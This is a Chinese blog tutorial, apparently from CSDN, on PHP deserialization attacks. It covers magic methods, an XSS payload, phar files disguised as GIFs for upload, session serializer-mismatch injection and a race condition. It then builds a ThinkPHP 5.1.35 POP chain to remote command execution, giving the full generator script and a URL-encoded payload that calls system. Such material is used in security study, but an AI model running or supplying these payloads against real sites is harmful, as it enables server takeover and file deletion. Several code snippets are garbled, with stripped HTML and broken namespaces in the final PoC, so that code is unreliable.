mysql 反序列化_php反序列化

一、    什么是序列化,什么是反序列化

编程语言有很多数据类型,比如常见的字符串,整数,数组

$str="luoke";$int=10;$arr=array("luoke","10");var_dump($str,$int,$arr);

81bd2ef02f0042e2289de659e997fcd4.png

这些我们都可以用serialize将其序列化输出

echo serialize($str);echo serialize($int);echo serialize($arr);

得到
s:5:"luoke";
i:10;
a:2:{i:0;s:5:"luoke";i:1;s:2:"10";}

43982e73b5560a92d3900c0b683f5289.png

unserialize可以将序列化字符串重新变回原来的类型。

var_dump(unserialize('a:2:{i:0;s:5:"luoke";i:1;s:2:"10";}'));

ab2232e4339658b2f8baabd78dda1ab0.png

同理,对象也可以序列化和反序列化

class test{        public $str="luoke";        public $int=10;        public function a(){            echo $this->str.'
'; } }$a=new test();var_dump($a);echo serialize($a);

546e9be2d65763aa43d3a9888f3ae8f4.png

   class test{        public $str="luoke";        public $int=10;        public function a(){            echo $this->str.'
'; } }$a=unserialize('O:4:"test":2:{s:3:"str";s:5:"luoke";s:3:"int";i:10;}');$a->a();

有个echo,如果改变$str则可以触发xss
O:4:"test":2:{s:3:"str";s:25:"
完整的一个xss反序列化的poc如下

<?php     class test{        public $str="luoke";        public $int=10;        public function a(){            echo $this->str.'
'; } }$a=unserialize($_GET['a']);$a->a();

http://luoke.cn:81/1.php?a=O:4:%22test%22:2:{s:3:%22str%22;s:25:%22%3Cscript%3Ealert(1)%3C/script%3E%22;s:3:%22int%22;i:10;}

9881417edf752d8ff533fda6cff20f3b.png

一个完全可控的反序列化输入点,可以构造一个对象,通过构造序列化字符串,可以继承任意类的属性,控制任意类里的变量。

但是这里XSS的触发,是因为后面我们使用了类中的方法a(),还有一些自动触发的魔术方法,现实中的反序列漏洞,往往就出现在魔术方法中。__construct() //类的构造函数,即$a=new test();时__destruct()   //类的析构函数,即php脚本结束时__toString()//类被当成字符串时的回应方法,$a=new test();print_r($a);__sleep()       //执行serialize()时,先会调用这个函数__wakeup     //执行unserialize()时,先会调用这个函数
以下代码可直观感受这五个魔术方法什么时候触发

<?php     class test{        public $str="luoke";        public $int=10;        public function __construct(){            echo '__construct
'; } public function __destruct(){ echo '__destruct
'; } public function __sleep(){ echo '__sleep
'; return array("str","int"); } public function __wakeup(){ echo '__wakeup
'; } public function __toString(){ return '__toString
'; } } $a = new test(); //创造对象调用__construct $serialize = serialize($a); //序列化对象调用 __sleep $unserialize=unserialize($serialize); //反序列化对象调用__wakeup echo $a; //字符串输出对象调用 __toString //销毁对象调用__destruct?>

其中__destruct()__wakeup()是最容易触发的。
更多魔术方法见

https://www.php.net/manual/zh/language.oop5.magic.php

类的权限修饰除了public之外还有private和protected,反序列化时会有所不同

   class test{        public $str1="luoke";        private $str2="luoke";        protected $str3="luoke";    }$a=new test();echo serialize($a);

d287ceabc93df36e751a0564fbf94d6e.png

O:4:"test":3:{s:4:"str1";s:5:"luoke";s:10:"%00test%00str2";s:5:"luoke";s:7:"%00*%00str3";s:5:"luoke";}

二、    用phar扩展攻击面

很显然,上面的反序列化攻击必须有unserialize函数才可以触发,条件苛刻,而phar协议可以极大扩展攻击面。
在文件包含中我们知道phar://1.zip/1.php去包含压缩文件,但phar其实是一种类似jar的程序打包文件,创建一个新的phar文件看一看。
php.ini中设置phar.readonly=Off

<?php class test{    }    @unlink("1.phar");       //删除phar    $phar = new Phar("1.phar"); //创建phar文件    $phar->startBuffering();    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub    $a = new test();    $phar->setMetadata($a); // 甚至meta-data    $phar->addFromString("echo.php", "<?php echo(1);?>"); //压缩文件    $phar->stopBuffering();?>

观察生成的1.phar发现meta-data被序列化了

8769b209f7e304e7dead7bb1b3dcc27f.png

那么,当我们用file_get_contents()去使用phar文件则会执行反序列化操作

file_get_contents("phar://1.phar/echo.php");

由于phar不使用文件头而是用stub鉴定文件类型,所以可以在stub前面加入文件头来绕过文件类型检测,即可以上传一个内容为phar的gif文件,再用phar协议包含它来触发反序列化。
例如有这么一个文件file.php,还有个文件上传的地方,只能上传gif文件,上传在upload中

<?php     class test{        public $str="luoke";        public $int=10;        public function __destruct(){            echo $this->str.'
'; }}file_get_contents($_GET['path']);?>

那么我们先自己构造phar生成程序,拿上面的改改就行了

<?php     class test{        public $str=";        public $int=10;}    @unlink("1.phar");       //删除phar    $phar = new Phar("1.phar"); //创建phar文件    $phar->startBuffering();    $phar->setStub("GIF89au<?php __HALT_COMPILER(); ?>"); //设置stub    $a = new test();    $phar->setMetadata($a); // 设置meta-data    $phar->addFromString("test", "test"); //压缩文件    $phar->stopBuffering();?>

14e47a90bd376a7b346daf8f932de733.png

将其后缀改为gif并上传,在file.php中包含它

3e858aa38775947f893f52ccea35f349.png

除了file_get_contents之外,只要能够使用phar协议的,包括绝大部分和文件操作有关的php函数,都能够触发反序列化。include/fileatime/filectime/filemtime/stat/fileinode/fileowner/filegroup/fileperms/file/file_get_contents/readfile/fopen/file_exists/is_dir/is_executable/is_file/is_link/is_readable/is_writeable/is_writable/parse_ini_file/unlink/copy/touch/exif_thumbnail/exif_imagetype/imageloadfont/hash_hmac_file/hash_file/hash_update_file/md5_file/sha1_file/get_meta_tags/get_headers/getimagesize/getimagesizefromstring
很多可以操作文件的扩展也能够用phar触发反序列化extractTo/pgsqlCopyFromFile甚至mysql的LOAD DATA LOCAL INFIL以及xxe
phar协议还可以套在另外三种伪协议后面php://filter/resource=phar://upload/1.gif/test
compress.bzip2://phar://upload/1.gif/test
compress.zlib://phar://upload/1.gif/test三、    用session扩展攻击面

先看phpinfo中的session路径和session存储格式。

0b289333668c64298b53eb2fed30ce50.png

session.serialize_handler存储格式这里主要是php_serialize和php两种,默认是php
设定一下session,然后去查看session文件

<?php // ini_set('session.serialize_handler','php');//默认,所以不用设置session_start();$_SESSION['name']="luoke";?><script>alert(document.cookie)script>

86e7bc9ff31e32318be1112a862ad7ac.png

889053c4df6164d288c904ad7426f918.png

很显然,session也是以序列化字符串存储的,只不过带一个竖线声明键值,但php_serialize存储格式却不带竖线。

<?php ini_set('session.serialize_handler','php_serialize');session_start();$_SESSION['name']="luoke";?><script>alert(document.cookie)script>

7d8fb53aa899536a0f467e915a1f2e86.png

那么,如果错误的同时使用两种格式存储session,php_serialize存储的session又可控,那么就可以传入竖线,可能造成反序列化漏洞。常见于php脚本使用php_serialize,而php.ini默认使用php,比如下面这种情况。
1.php

<?php     class test{        public $str="luoke";        public $int=10;        public function __destruct(){            echo $this->str.'
'; }}session_start();?>

2.php

<?php ini_set('session.serialize_handler','php_serialize');session_start();$_SESSION['name']=$_GET['name'];?>

那么,先访问http://luoke.cn:81/test/2.php?name=|O:4:%22test%22:2:{s:3:%22str%22;s:25:%22%3Cscript%3Ealert(1)%3C/script%3E%22;s:3:%22int%22;i:10;}
再访问http://luoke.cn:81/test/1.php
触发反序列化

054121eeab105050c0b6ad326ec11a0d.png

如果反过来php.ini使用php_serialize,php脚本使用php,则更容易利用。

<?php ini_set('session.serialize_handler','php');    class test{        public $str="luoke";        public $int=10;        public function __destruct(){            echo $this->str.'
'; }}session_start();?>

文件包含的时候讲过一种条件竞争的控制session的办法

<form action="1.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value='|O:4:"test":2:{s:3:"str";s:25:" /> <input type="file" name="file" /><input type="submit" />form>

bp发1000000个包,条件竞争成功

fdd9748950b94be343ef01a971b02751.png

四、    实战,thinkphp反序列化

实战中往往没有这么简单,而是需要挨个触发多个类,形成pop链

<?php class classA{        public $name="classA";        public function __destruct(){        echo $this->name;        echo "classA success
"; }}class classB{ public $name="classB"; public function __toString(){ echo $this->name->files; return "classB success
"; }}class classC{ public $name="classC"; public function __get($val){ $this->name->files = "whoami"; echo "classC success
"; }}class classD{ public $name="classD"; public function __set($val1,$val2){ $this->name->files(); echo "classD success
"; }}class classE{ public $name; public function __call($val1,$val2){ $this->ff("classE success
"); $filanme=$this->name; $filanme(); } public function ff($val){ echo($val); }}class classF{ public function __invoke(){ echo("classF success
"); }}//$a = new classA();//$a->name = new classB();//$a->name->name = new classC();//$a->name->name->name = new classD();//$a->name->name->name->name = new classE();//$a->name->name->name->name->name = new classF();//echo "
";$u = @unserialize($_GET['c']);?>

Thinkphp5.0,5.1版本均存在反序列化,而且切入点都一样,但因为thinkphp本身没有反序列化入口,所以不被重视。
我用的的版本是5.1.35版本
先手动创造反序列化入口
\application\index\controller\index.php
增加$u = @unserialize($_GET['c']);http://luoke.cn:81/public/index.php?c=xxxxxxxxxxxx

deb171676fe35d44a23f061f6692e8b7.png

切入点:\thinkphp\library\think\process\pipes\Windows.php

class Windows extends Pipes    private $files = [];    public function __destruct()    {        $this->close();        $this->removeFiles();}    private function removeFiles()    {        foreach ($this->files as $filename) {            if (file_exists($filename)) {                @unlink($filename);            }        }        $this->files = [];    }

$files可控=>$filename可控,那么最起码有一个@unlink($filename);任意文件删除的反序列化。
父类是Pipes,命名空间是think\process\pipes,构造反序列化字符串。

<?php namespace think\process\pipes;class Pipes{}class Windows extends Pipes{private $files = ['1.txt'];}echo str_replace("\x00","%00",serialize(new Windows()));

得到O:27:"think\process\pipes\Windows":1:{s:34:"%00think\process\pipes\Windows%00files";a:1:{i:0;s:5:"1.txt";}}
在\public目录建立1.txt,访问

http://luoke.cn:81/thinkphp5.1/public/index.php?c=O:27:%22think\process\pipes\Windows%22:1:{s:34:%22%00think\process\pipes\Windows%00files%22;a:1:{i:0;s:5:%221.txt%22;}}
成功删除1.txt。


当$filename为对象的时候,file_exists($filename)可以触发__toString,全局搜索__toString,有个Conversion类可以利用。
\thinkphp\library\think\model\concern\Conversion.php

trait Conversion{    protected $visible = [];    protected $hidden = [];    protected $append = [];    protected $resultSetType;    public function __toString(){        return $this->toJson();    }    public function toJson($options = JSON_UNESCAPED_UNICODE){        return json_encode($this->toArray(), $options);}}

__toString()-> toJson()-> toArray(),这个链很清晰,继续跟进

     public function toArray(){        $item    = [];        $visible = [];        $hidden  = [];        .....        if (!empty($this->append)) {            foreach ($this->append as $key => $name) {                if (is_array($name)) {                    $relation = $this->getRelation($key);                    if (!$relation) {                        $relation = $this->getAttr($key);                        $relation->visible($name);                    }

$this->append可控,然后触发getRelation()和getAttr(),getRelation()是RelationShip的方法
/thinkphp/library/think/model/concern/RelationShip.php

   private $relation = [];   public function getRelation($name = null){        if (is_null($name)) {            return $this->relation;        } elseif (array_key_exists($name, $this->relation)) {            return $this->relation[$name];        }        return;    }

这里都是返回结果,没有进一步利用的可能。$relation默认为空,if(!$relation)后直接触发getAttr(),getAttr()是Attribute类的方法。
/thinkphp/library/think/model/concern/Attribute.php

   public function getAttr($name, &$item = null){        try {            $notFound = false;            $value    = $this->getData($name);        } catch (InvalidArgumentException $e) {            $notFound = true;            $value    = null;        }

跟进getData()

trait Attribute{   private $data = [];   public function getData($name = null){        if (is_null($name)) {            return $this->data;        } elseif (array_key_exists($name, $this->data)) {            return $this->data[$name];        } elseif (array_key_exists($name, $this->relation)) {            return $this->relation[$name];        }

此时可以发现由于

$relation = $this->getAttr($key) = new Attribute ->data可控
$relation->visible($name),$name = $this->append as $key => $name可控
所以等于$a->visible($b),ab都可控,此时有两种链,一种是用来触发其他类的visible同名方法,一种是触发__call。
第一种有visible方法的类有三个,排除Conversion本身其他两个都不能利用。
第二种搜function __call就有很多了,这里选择的是Request这个有危险回调函数的call_user_func_array的类。

   public function __call($method, $args){        if (array_key_exists($method, $this->hook)) {            array_unshift($args, $this);            return call_user_func_array($this->hook[$method], $args);        }

call_user_func_array一句话写法如下

call_user_func_array($_GET['a'],array($_GET['b']));

php5中可以a=assert来执行任意代码,php7中只能用system之类的执行命令。
先看$this->hook[$method],$method= visible,所以$this->hook[$method]也是可控的,那么我们可以执行一个任意方法。
如果想用call_user_func_array执行类里面的方法,写法为这样

class foo {    function bar($arg, $arg2) {        echo "$arg$arg2";    }}$foo = new foo;call_user_func_array(array($foo, "bar"), array("three", "four"));

call_user_func_array在Request里面,如果想执行Request类中的方法,比如isAjax,只需要让$this->hook[$method]= ["visible"=>[$this,"isAjax"]]即可。
再看$args,$args是$relation->visible($name)中的array($name),可控,但是由于array_unshift($args, $this),向$args数组的开头插入了$this,也就是插入了整个Request类,导致system无法执行命令。除此之外,if (is_array($name))使得$name必须是一个数组,而_call方法会将$args=array($name),也就是说最终$name是个二维数组,同样导致无法用system去执行。
如果改成return call_user_func_array($this->hook[$method], $args[1])可以用如下反序列化串执行。

<?php namespace think;class Model{    protected $append = [];    private $data = [];    function __construct(){    $this->append=["qwe"=>["calc"]];    $this->data=["qwe"=>new Request()];    }}class Request{    protected $hook = ["visible"=>"system"];}namespace think\process\pipes;use think\model\Pivot; class Windows{    private $files = [];    public function __construct(){        $this->files=[new Pivot()];    }}namespace think\model;use think\Model; class Pivot extends Model{}use think\process\pipes\Windows;echo str_replace("\x00","%00",serialize(new Windows())); 

这里有几个概念上的问题。
第一是命名空间namespace,其实就相当于目录结构。避免同名类,namespace think;class Model{}其实就相当于class think\Model。
第二是use的问题,use用在类外面是配合命名空间的,用在类里面是多继承。
第三是类的继承,class Pivot extends Model,表示Pivot继承Model,可以使用Model里的所有方法。但这种只能单继承,也就是Pivot只能继承一个类,所以出现了trait Attribute这种多继承方法,忽略命名空间,我们用到的类结构大概是这样的。
trait Attribute{}
trait Conversion{}
trait RelationShip{}
abstract class Model{use Attribute,Conversion, RelationShip;}
class Pivot extends Model{}
class Request{}
class Windows
第四就是为什么不直接用Model类呢?因为它是abstract(抽象类),无法反序列化。
得到反序列化字符串:O:27:"think\process\pipes\Windows":1:{s:34:"%00think\process\pipes\Windows%00files";a:1:{i:0;O:17:"think\model\Pivot":2:{s:9:"%00*%00append";a:1:{s:3:"qwe";a:1:{i:0;s:4:"calc";}}s:17:"%00think\Model%00data";a:1:{s:3:"qwe";O:13:"think\Request":1:{s:7:"%00*%00hook";a:1:{s:7:"visible";s:6:"system";}}}}}}

fbbc6d6fe0daa6b7f84156e9f1d6dd9e.png

但现实情况是必须继续找RCE的链,现在我们可以控制的情况是这样的。

call_user_func_array(["aaaa"], [$this,["bbbb"]]);

如果将["aaaa"]控制为[new x(),"aaaa"]则等于可控任意类中的任意方法。但由于使用的参数第一个必须是$this,导致很难构造出想要的效果,所以我们只能通过触发任意方法,然后再在方法中找可控变量进行命令执行。
网上的教程是反向来找的,这样比较好找,但正向找比较容易理解,先触发isAjax()

   public function isAjax($ajax = false){        $value  = $this->server('HTTP_X_REQUESTED_WITH');        $result = 'xmlhttprequest' == strtolower($value) ? true : false;        if (true === $ajax) {            return $result;        }        $result           = $this->param($this->config['var_ajax']) ? true : $result;        $this->mergeParam = false;        return $result;    }

触发$this->param($this->config['var_ajax']),$this->config完全可控,跟进param()

   public function param($name = '', $default = null, $filter = ''){        if (!$this->mergeParam) {            $method = $this->method(true);            switch ($method) {                case 'POST':                    $vars = $this->post(false);                    break;                case 'PUT':                case 'DELETE':                case 'PATCH':                    $vars = $this->put(false);                    break;                default:                    $vars = [];            }            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));            $this->mergeParam = true;        }        if (true === $name) {            $file = $this->file();            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;            return $this->input($data, '', $default, $filter);        }        return $this->input($this->param, $name, $default, $filter);}

param()的$name=$this->config['var_ajax']完全可控,不让它等于true则触发input($this->param, $name, $default, $filter)
其中$this->param虽然是类的自定义变量,但中间有个$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
也就是说向一个自定义数组中插入了多个元素,不过还好是插入在了尾部,一般不影响比如system函数执行。$vars为空,我们在看看$this->get()和$this->route()等于多少。

   public function get($name = '', $default = null, $filter = ''){        if (empty($this->get)) {            $this->get = $_GET;        }        return $this->input($this->get, $name, $default, $filter);    }   public function route($name = '', $default = null, $filter = ''){        return $this->input($this->route, $name, $default, $filter);    }

再看input()

   public function input($data = [], $name = '', $default = null, $filter = ''){        if (false === $name) {            return $data;        }……

很显然,$name= false,所以直接返回 $data,也就是$this->get和$this->route,这两个都是完全可控的,其中$this->get还等于$_GET,也就是url传进来的GET参数。也就是说,$this->param可以通过4个办法来控制具体的值,很多教程里都选择了可以在实际请求中任意改变的$_GET,但没有必要,我们简单点控制$this->param就行了。
再看触发的$this->input($this->param, $name, $default, $filter)

   public function input($data = [], $name = '', $default = null, $filter = ''){        if (false === $name) {            return $data;        }        $name = (string) $name;        if ('' != $name) {            if (strpos($name, '/')) {                list($name, $type) = explode('/', $name);            }            $data = $this->getData($data, $name);            if (is_null($data)) {                return $default;            }            if (is_object($data)) {                return $data;            }        }        $filter = $this->getFilter($filter, $default);                if (is_array($data)) {            array_walk_recursive($data, [$this, 'filterValue'], $filter);            if (version_compare(PHP_VERSION, '7.1.0', ')) {                $this->arrayReset($data);            }        } else {            $this->filterValue($data, $name, $filter);        }        if (isset($type) && $data !== $default) {            $this->typeCast($data, $type);        }        return $data;    }

这儿$data=$this->param,$name=$this->config['var_ajax'],我们使$name='',前面的对于$name的判定就不需要管了,直接看$filter =

$this->getFilter($filter, $default);   protected function getFilter($filter, $default){        if (is_null($filter)) {            $filter = [];        } else {            $filter = $filter ?: $this->filter;            if (is_string($filter) && false === strpos($filter, '/')) {                $filter = explode(',', $filter);            } else {                $filter = (array) $filter;            }        }        $filter[] = $default;        return $filter;    }

$filter=''不是null, 所以$filter = $filter ?: $this->filter也就是$filter=$this->filter,后面还有一个强转操作,$filter如果是字符串会转换成数组。
那么我们就可以执行array_walk_recursive($data, [$this, 'filterValue'], $filter);了,这同样是个回调函数,如果$data=['a'=>'b'],则执行filterValue('b', 'a', $filter)。
再看filterValue

   private function filterValue(&$value, $key, $filters){        $default = array_pop($filters);        foreach ($filters as $filter) {            if (is_callable($filter)) {                $value = call_user_func($filter, $value);……

那么结果很明显了,最终rce的点就在于call_user_func($filter, $value)。
从头到尾捋一捋。thinkphp\library\think\process\pipes\Windows.php - > __destruct()
thinkphp\library\think\process\pipes\Windows.php - > removeFiles()
thinkphp\library\think\model\concern\Conversion.php - > __toString()
thinkphp\library\think\model\concern\Conversion.php - > toJson()
thinkphp\library\think\model\concern\Conversion.php - > toArray()
thinkphp\library\think\Request.php   - > __call()
thinkphp\library\think\Request.php   - > isAjax()
thinkphp\library\think\Request.php - > param()
thinkphp\library\think\Request.php - > input()
thinkphp\library\think\Request.php - > filterValue()
把上面那个改过源码的POC稍微改一改就能变成原版thinkphp5.1.35的反序列化POC了

<?php namespace think;class Model{    protected $append = [];    private $data = [];    function __construct(){    $this->append=["qwe"=>[""]];    $this->data=["qwe"=>new Request()];    }}class Request{    protected $hook = [];    protected $param = [];    protected $config = [];    protected $filter;    function __construct(){    $this->hook=['visible'=>[$this,"isAjax"]];    $this->config=['var_ajax'=>''];    $this->param=['calc'];    $this->filter=['system'];    }}namespace think;use think; class Windows{    private $files = [];    public function __construct(){        $this->files=[new Pivot()];    }}namespace think;use think; class Pivot extends Model{}use think;echo str_replace("\x00","%00",serialize(new Windows())); 

http://luoke.cn:81/thinkphp5.1/public/index.php?c=O:27:%22think\process\pipes\Windows%22:1:{s:34:%22%00think\process\pipes\Windows%00files%22;a:1:{i:0;O:17:%22think\model\Pivot%22:2:{s:9:%22%00*%00append%22;a:1:{s:3:%22qwe%22;a:1:{i:0;s:0:%22%22;}}s:17:%22%00think\Model%00data%22;a:1:{s:3:%22qwe%22;O:13:%22think\Request%22:4:{s:7:%22%00*%00hook%22;a:1:{s:7:%22visible%22;a:2:{i:0;r:8;i:1;s:6:%22isAjax%22;}}s:8:%22%00*%00param%22;a:1:{i:0;s:4:%22calc%22;}s:9:%22%00*%00config%22;a:1:{s:8:%22var_ajax%22;s:0:%22%22;}s:9:%22%00*%00filter%22;a:1:{i:0;s:6:%22system%22;}}}}}}

51c96fc4c6f748038b0f03d9e2d6e1e1.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值